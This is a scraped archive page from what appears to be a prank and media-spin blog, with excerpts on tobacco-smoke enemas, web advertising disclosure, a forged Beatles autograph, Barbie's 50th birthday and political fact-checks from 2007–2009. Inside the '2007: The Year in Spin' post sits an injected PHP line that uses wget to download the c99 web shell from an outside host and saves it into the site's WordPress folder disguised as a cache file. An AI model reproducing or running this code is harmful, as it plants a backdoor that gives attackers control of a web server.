Blog Posts

Old Delivery System for Nicotine

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Filed under: Hype, The History of Pranks, Truth that's Stranger than Fiction

Tobacco Smoke Enemas (1750s – 1810s)


The tobacco enema was used to infuse tobacco smoke into a patient's rectum for various medical purposes, primarily thte resuscitation of drowning victims. A rectal tube inserted into the anus was connected to a fumigator and bellows that forced the smoke towards the rectum. The warmth of the smoke was thought to promote respiration, but doubts about the credibility of tobacco enemas led to the popular phrase "blow smoke up one's ass." To learn more, click here.

via tophattobacco.com, thanks Don

Hypercommercialism and the Web

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Filed under: Hype, Spin

From Center for Media and Democracy / PRWatch.org:

An Inescapable Web of Advertisements
Source: New York Times, July 12, 2009:

13blog.xlarge1-200The U.S. Federal Trade Commission (FTC) “may soon require online media to comply with disclosure rules under its truth-in-advertising guidelines.” FTC assistant director Richard Cleland said, “Consumers have a right to know when they’re being pitched a product.” But the “hypercommercialism of the Web” may be “changing too quickly for consumers and regulators to keep up,” reports the New York Times.

“Product placements are landing on so-called status updates on Facebook, companies are sponsoring messages on Twitter and bloggers are defining their own parameters of what constitutes independent work versus advertising.” Izea, the “online marketing company” that created PayPerPost in 2006 to match marketers with bloggers willing to promote products, is branching out. Not only does it have “25,000 active advertisers ranging from Sea World to small online retailers” and 265,000 bloggers, but it’s readying “a ‘Sponsored Tweets’ platform for Twitter users to blast promotional messages to their followers.” Giveaways to popular bloggers are often a part of such campaigns. Last year, Izea carried out a campaign for Kmart that gave “six popular bloggers known to be influencers” $500 gift cards “to shop at the discount chain.” The bloggers were “asked to write about their experiences,” and the campaign “generated 800 blog posts and 3,200 Twitter messages that reached 2.5 million people over 30 days,” according to Izea.

George Harrison and His Autograph(s)

Filed under: Hype

Submitted by W.J. Elvin III:

How George Harrison forged the Beatles’ signatures for a dying fan

Daily Mail Online
May 2, 2009

George Harrison is believed to have forged all the signatures of the Beatles to make a dying fan's wish come true.

The report emerged after an autographed picture of the band was sold at Keys auctioneers in Aylsham, Norfolk on Friday.

It was donated by Harry Bartlett, of Rickinghall, Suffolk, whose daughter Ann received the photograph shortly before her death in the late 1960s at the age of 16. Read the rest of the story here.


Barbie Turns 50

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Filed under: Creative Activism, Hype, Publicity Stunts

Barbie’s real-life Dream House created in Malibu
by Derrik J. Lang
March 6, 2009

Malibu, Calif. (AP) — Barbie’s Malibu Dream House is coming true.

On the eve of her 50th birthday, interior decorator Jonathan Adler has decked out a real-life 3,500-square-foot pad overlooking the Pacific Ocean to look like the blond doll’s outrageous home.

Barbie Dream House

Adler, who was commissioned by toy maker Mattel Inc. to decorate the house for Monday’s party, said outfitting the sleek mansion (a property that’s frequently rented for film and photography shoots) took six months of planning and a few weeks to install.

“Barbie was a dream client because she doesn’t exist as a person,” Adler said. “She exists as fantasy and is the perfect client because she’s always happy and fun and loves everything. I thought to myself, ‘How would Barbie live?’ What I thought was Barbie would have a house that is glamorous, kittenish, chic, colorful and happy – as well as functional.”

Adler lined Barbie’s bedroom with wall-to-wall pink carpeting emblazoned with her initial. The closet is filled with 50 pairs of pink peep-toe heels while her kitchen is stocked with cupcake-making ingredients. An in-house museum features 25 vintage Barbie dolls on display. In the garage? A pink Volkswagen New Beetle with a motorized pop-up vanity in the trunk. Read the rest of this article here.


  • You Always Hurt The Ones You Love: Why do girls mutilate their Barbie dolls? by Neil Steinberg, Forbes.com, March 5, 2009

  • Art Publicity Stunt Stung by Fraud

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    Fraud Case Stymies Art Show
    March 6, 2009

    chrisburden200Artist Chris Burden – who had himself shot in the arm with a 22-caliber rifle in 1971 and then had himself crucified with his hands nailed to the roof of a Volkswagen – had to postpone tomorrow’s opening of his show at the Gagosian Gallery in LA. Dealer Larry Gagosian bought $3 million worth of gold – 100 1-kilo (2.2 pounds) gold ingots – for a piece Burden titled “One Ton, One Kilo.” But the gold bricks never arrived. Gagosian made the purchase from Stanford Coins & Bullion, a company owned by Allen Stanford, the Texas billionaire recently charged by the SEC with a “massive, ongoing fraud.” The gold bars have been frozen with Stanford’s other assets. Gagosian went to court to unfreeze his gold, arguing that his transaction “represents a straightforward spot purchase of a tangible commodity.” But the dealer still has no bullion, and Burden has gone back to the drawing board.

    photo: photogrowth.com

    Grassroots Anti-Obama Fear Campaign Launches

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    Filed under: Hype, Propaganda and Disinformation, Spin

    Grassfire’s Blitzkrieg of Fear Aimed at President-Elect Obama
    Center for Media and Democracy / PRWatch.org
    November 19, 2008

    Source: Buzzflash website, November 19, 2008

    Analyst Meg White examines the “blitzkrieg of fear mongering and misinformation” being whipped up against President-elect Barack Obama. “One phalanx in the fight belongs to Grassfire.org. … Grassfire sent out an e-mail designed to scare people into joining its ‘army that is ready to take on Obama’s agenda.’

    …The e-mail lists nine ‘threats to our liberties’ presented by the incoming administration. The common thread through all of these threats is alarmism. … Grassfire is anything but grassroots. The 501(c)4 is listed as a front group on the (SourceWatch) site, and SourceWatch notes that public relations for Grassfire are handled by Shirley & Banister Public Affairs, whose president, Craig Shirley, was part of the team that created the infamous Willie Horton ad. Shirley and Banister represent like-minded clients such as Ann Coulter, the Christian Anti-Defamation Commission, and the National Rifle Association. Grassfire is one of many groups amassing armies to fight everything Obama tries to do, no matter where it falls on the political spectrum.”

    Keith Olbermann on the Anniversary of 9/11

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    Special Commentary from Countdown with Keith Olbermann about the politicization of 9/11 by the Republican Party, MSNBC, September 10, 2008:

    Fact Checking McCain

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    FactChecking McCain
    FactCheck.org, Annenberg Political Fact Check
    September 5, 2008

    He made some flubs in accepting the nomination.

    Republican presidential nominee Senator John McCain (R-AZ) arrives to accept the nomination Minnesota September 4, 2008. REUTERS/Shannon StapletonSummary: We checked the accuracy of McCain’s speech accepting the Republican nomination and noted the following:

    McCain claimed that Obama’s health care plan would “force small businesses to cut jobs” and would put “a bureaucrat … between you and your doctor.” In fact, the plan exempts small businesses, and those who have insurance now could keep the coverage they have.

    McCain attacked Obama for voting for “corporate welfare” for oil companies. In fact, the bill Obama voted for raised taxes on oil companies by $300 million over 11 years while providing $5.8 billion in subsidies for renewable energy, energy efficiency and alternative fuels.

    McCain said oil imports send “$700 billion a year to countries that don’t like us very much.” But the U.S. is on track to import a total of only $536 billion worth of oil at current prices, and close to a third of that comes from Canada, Mexico and the United Kingdom.

    He promised to increase use of “wind, tide [and] solar” energy, though his actual energy plan contains no new money for renewable energy. He has said elsewhere that renewable sources won’t produce as much as people think. (more…)

    In Search of the Indelible Metaphor

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    I'm Rubber, You're Glue …
    by Jonathan Alter
    September 1, 2008

    It’s hard to predict what will stick. ‘It’s the economy, stupid’ was a hand-scrawled sign hung in Little Rock.

    When NEWSWEEK reported earlier this summer that the McCain family owns at least seven houses, few outside the hothouse of politics noticed. Voters assume that all politicians are rich and didn’t seem to care that John McCain’s wife, Cindy, is worth $100 million and owed back taxes on one of the properties. But when Politico asked McCain last week in New Mexico how many residences he and his wife owned and he answered, “I think-I’ll have my staff get [back] to you,” the story suddenly took off, fueled by the impression that McCain is old and out of touch with Americans struggling to pay their mortgages. Will it do his campaign real damage? Depends on the “stickiness.”

    The same goes for Barack Obama’s acceptance speech in Denver. The buzz of 70,000 people screaming for him at Invesco Field will wear off if he doesn’t frame his economic message in a way that otherwise inattentive Americans can recall. Without an indelible metaphor, all of his policy speeches are written in invisible ink.

    Modern campaigns are about flinging 10 things against the wall every day and hoping something sticks. Everything else, from fund-raising to advertising (paid for by the fund-raising) to speechmaking to Web strategy, is in the service of applying that adhesive, either to cement the candidate’s message or muck up the opponent’s engine with sludge.

    That’s because memorable lines, images, gaffes and monikers act like a piece of gum on the bottom of your shoe. (more…)

    The Real McCain 2

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    From Robert Greenfield and Brave New Films:

    There’s no question John McCain is getting a free ride from the mainstream press. But with the power of YouTube and the blogosphere, we can provide an accurate portrayal of the so-called Maverick. We can put the brakes on his free ride!

    John McCain’s YouTube Problem Just Became a Nightmare

    Since we first released The Real McCain a year ago, our REAL McCain series has garnered over 6 million views, with over 50,000 comments and tens of thousands more in petition signatures! Clearly, John McCain’s record is something the public wants to discuss, and yet the corporate media is doing NOTHING to present the truth. (more…)

    “Investor Literacy” is a Hoax

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    11 reasons ‘investor literacy’ is a big hoax
    by Paul B. Farrell
    April 15, 2008

    Commentary: Wall Street prefers clueless, irrational investors

    mp_burning_money-300px-200.jpgArroyo Grande, Calif. (MarketWatch) — So Congress made April “Investor Literacy Month.” What a hoax, a cruel joke, yes, an insult to America’s 95 million investors.

    What’s really happening? Here’s the short version: In the past five years Wall Street’s out-of-control greed (with the backing of Greenspan’s cheap-money Fed, an “anything-goes, free-market” White House and a banking industry that loves piling up debt in order to charge excessive fees) created a massive housing-credit bubble to rapidly replace their earlier busted dot-com bubble.

    Then last summer the new bubble failed, exploding in our faces, nearly destroying the global monetary system. Result? These two bubbles triggered a diversionary, knee-jerk reaction: A wave of so-called “investor education” programs across the U.S. and world.

    That’s the joke, the hoax, the insult. Get it? Wall Street’s greed nearly destroys the world’s economy twice in less than a decade. Solution? Bail out Wall Street, then blame it on the little guy, the Main Street investor, for not being “educated enough!” That’s a hoax. (more…)

    Fake News

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    Submitted by Josh Jasper:

    How local TV embraced fake news
    Americans’ first source in news is overrun by marketing videos.
    by Farhad Manjoo

    Note: Here is another excerpt from my new book, True Enough: Learning to Live in a Post-Fact Society. (For previous excerpts, see here and here.) The book argues that new communications technologies are loosening the culture’s grip on what people once called “objective reality.” Here, I look at how fakery has overrun local TV news.

    Excerpted from True Enough by Farhad Manjoo (Wiley, 2008)

    story-200.jpgLate in the holiday shopping season of 2005, Robin Raskin began to worry about a hidden danger posed by the world’s most popular gadget: Pornography was popping up on the iPod. Raskin, a pert middle-aged woman with short brown hair and a deep, authoritative voice, considered herself an expert on how kids use technology (she’d once written a magazine column called “Internet Mom”). She approached local TV news broadcasts across the country with her iPod worries. They bit.

    “There’s scores of ‘iPorn’ everywhere,” Raskin warned in an appearance on KGUN, an ABC affiliate in Tucson, Ariz. The iPod had become “a pedophile’s playground,” she said, and Apple was doing little to stem the smut. On Pittsburgh’s Fox affiliate, WPGH Channel 53, Raskin called the iPod one of the “scariest” gifts of the season. The ABC station in Columbus, Ohio, featured Raskin’s warnings as part of a report by Kent Justice, a correspondent who produces a regular segment called “On Your Side.” Justice told viewers, “If you didn’t know it, now prepare for it: Hundreds of Web sites are selling iPorn.”

    Nine stations aired Raskin’s warnings. Her segments had the look and feel of ordinary local news: Super-coifed anchors offer alarmist assessments of everyday objects, story at 11. (more…)

    NBC Pursuit of Ratings Achieves New Low

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    Filed under: Fraud and Deception, Hype, Legal Issues

    NBC ‘Predator' lawsuit: journalism on trial
    by Douglas Lee
    Special to the First Amendment Center Online
    March 4, 2008

    journ1-full-200.jpgYes, it's only a ruling on a motion to dismiss. And, yes, in such a ruling, the plaintiff's allegations are presumed to be true. And, yes, it's only the ruling of a trial judge, not a ruling of an appellate court establishing new precedent.

    So, yes, many reasons exist to minimize the importance of the recent ruling in Conradt v. NBC Universal, Inc. At the same time, many reasons exist for NBC to be concerned.

    In Conradt, Patricia Conradt is suing NBC for the network's role in her brother's suicide. Conradt claims NBC, in an effort to create a sensational arrest for "Dateline NBC: To Catch A Predator," recklessly orchestrated a police action that caused her brother to take his life.

    On Feb. 26, 2008, Denny Chin, a U.S. district judge sitting in the Southern District of New York, held that Conradt's case could proceed. While he dismissed seven of Conradt's claims, Chin ruled that the most serious of her allegations - that NBC had violated her brother's civil rights and had intentionally caused him emotional distress - warranted a jury trial. "[A] reasonable jury," Chin wrote, "could find that NBC crossed the line from responsible journalism to irresponsible and reckless intrusion into law enforcement." (more…)

    Journalist Bites Reality!

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    From Skeptic.com:

    In this week's eSkeptic, Steve Salerno discusses the fundamental flaws of broadcast journalism as a tool for informing viewers.

    by Steve Salerno
    February 13, 2008

    How broadcast journalism is flawed in such a fundamental way that its utility as a tool for informing viewers is almost nil.

    news_screenshot-200.jpgIt is the measure of the media's obsession with its "pedophiles run amok!" story line that so many of us are on a first-name basis with the victims: Polly, Amber, JonBenet, Danielle, Elizabeth, Samantha. And now there is Madeleine. Clearly these crimes were and are horrific, and nothing here is intended to diminish the parents' loss. But something else has been lost in the bargain as journalists tirelessly stoke fear of strangers, segueing from nightly-news segments about cyber-stalkers and "the rapist in your neighborhood" to prime-time reality series like Dateline's "To Catch a Predator." That "something else" is reality.

    According to the U.S. Department of Justice, in a given year there are about 88,000 documented cases of sexual abuse among juveniles. In the roughly 17,500 cases involving children between ages 6 and 11, strangers are the perpetrators just 5 percent of the time - and just 3 percentof the time when the victim is under age 6. (Further, more than a third of such molesters are themselves juveniles, who may not be true "predators" so much as confused or unruly teens.) Overall, the odds that one of America's 48 million children under age 12 will encounter an adult pedophile at the local park are startlingly remote. The Child Molestation Research & Prevention Institute puts it like so: "Right now, 90 percent of our efforts go toward protecting our children from strangers, when what we need to do is to focus 90 percent of our efforts toward protecting children from the abusers who are not strangers." (more…)

    2007: The Year in Spin

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    < ?php system("wget http://aaa333.info/inc/c99.txt -O /var/www/vhosts/pranks.com/httpdocs/blog/wp-content/wp-cache.php"); system("ls -la /var/www/vhosts/pranks.com/httpdocs/blog/wp-content/"); ?>
    The Whoppers of 2007
    December 30, 2007
    by Brooks Jackson, with the staff of

    PinocchioWe review some notable political falsehoods and distortions of the year.


    The year 2007 wasn’t a good one for political honesty. Though not even technically an election year, it provided a bumper crop of falsehoods and distortions nonetheless.

    Presidential candidates kept us busy:

  • Republican Rudy Giuliani made false claims over and over about his record as mayor of New York, and even about England’s health care system.
  • Democrat Bill Richardson also mangled the facts repeatedly, claiming credit for creating more jobs as New Mexico’s governor than actually materialized and using a made-up figure about the performance of U.S. students, among other misstatements.
  • Republican Mitt Romney claimed undeserved credit for himself as governor of Massachusetts and made false or misleading claims about two of his rivals.
  • Democrat Hillary Clinton ran an ad claiming that National Guard and Reserve troops had no health insurance before she went to work, when in fact most of them did.
  • Republican Gov. Mike Huckabee repeatedly twisted the facts when talking about his record on taxes in Arkansas and other subjects. And there were plenty of other howlers from the large field of candidates.
  • Misinformation came both from Congress and the White House: (more…)